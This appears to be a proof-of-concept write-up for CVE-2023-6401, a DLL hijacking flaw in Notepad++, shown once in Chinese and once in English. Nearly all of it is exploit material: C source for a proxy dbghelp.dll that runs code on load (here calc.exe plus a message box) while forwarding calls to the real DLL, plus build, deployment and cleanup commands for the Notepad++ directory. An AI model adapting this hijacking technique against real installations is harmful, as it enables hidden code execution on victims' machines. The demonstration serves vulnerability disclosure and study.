BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // 執行惡意程式碼
        WinExec("calc.exe", SW_SHOW);
        MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);

        // 載入真實DLL並轉發API調用
        char systemPath[MAX_PATH];
        GetSystemDirectoryA(systemPath, MAX_PATH);
        strcat(systemPath, "\\dbghelp.dll");
        realDbghelp = LoadLibraryA(systemPath);
        
        if (realDbghelp)
            realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
        break;
    }
    return TRUE;
}

gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# 移除惡意DLL
del "C:\Program Files\Notepad++\dbghelp.dll"

# 確認移除
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "清理完成"

# Clone the project
git clone https://github.com/mekitoci/CVE-2023-6401.git

# Navigate to project directory
cd CVE-2023-6401-main

# gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# Deploy to NotePad++ directory
copy dbghelp.dll "C:\Program Files\Notepad++\"

# Execute test
"C:\Program Files\Notepad++\notepad++.exe"

# Immediate cleanup
del "C:\Program Files\Notepad++\dbghelp.dll"

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        // Execute malicious code
        WinExec("calc.exe", SW_SHOW);
        MessageBoxA(NULL, "CVE-2023-6401 Crack", "Alert", MB_OK);

        // Load real DLL and forward API calls
        char systemPath[MAX_PATH];
        GetSystemDirectoryA(systemPath, MAX_PATH);
        strcat(systemPath, "\\dbghelp.dll");
        realDbghelp = LoadLibraryA(systemPath);
        
        if (realDbghelp)
            realImageNtHeader = (pImageNtHeader)GetProcAddress(realDbghelp, "ImageNtHeader");
        break;
    }
    return TRUE;
}

gcc -shared -o dbghelp.dll dbghelp.c -Wall -Wl,--subsystem,windows

# Remove malicious DLL
del "C:\Program Files\Notepad++\dbghelp.dll"

# Confirm removal
dir "C:\Program Files\Notepad++\dbghelp.dll" 2>nul || echo "Cleanup completed"